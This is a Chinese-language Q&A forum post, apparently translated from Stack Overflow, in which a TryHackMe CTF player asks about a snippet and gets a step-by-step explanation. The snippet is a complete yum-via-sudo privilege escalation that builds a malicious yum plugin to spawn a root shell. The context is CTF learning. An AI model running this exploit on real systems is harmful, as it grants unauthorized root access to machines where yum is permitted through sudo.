0

我在 tryhackme 上做一些 ctf 时发现了这段代码。我不明白。有人可以解释一下它到底是做什么的吗?

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y
4

1 回答 1

0

当然,这种提权技术显然是利用了用户权限来运行yumsudo.

TF=$(mktemp -d)创建一个临时目录。

$TF之后,通过将内容“添加”到其中,在 temp 目录(可通过 访问)中创建了三个文件。

为了可视化这一点,您可以在 bash shell 中运行以下命令(当然不带前导 >):

> touch test

> cat >test<<EOF 
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

> cat test

这将打印出名为test.

最后一步:sudo yum -c $TF/x --enableplugin=y简单地执行一个常规的 yum 命令,利用上面提到的刚刚创建的文件。然后将执行有效负载def init_hook(conduit): os.execl('/bin/sh','/bin/sh'),因为您使用sudo.

我希望这是有帮助的。

于 2021-05-21T08:43:06.570 回答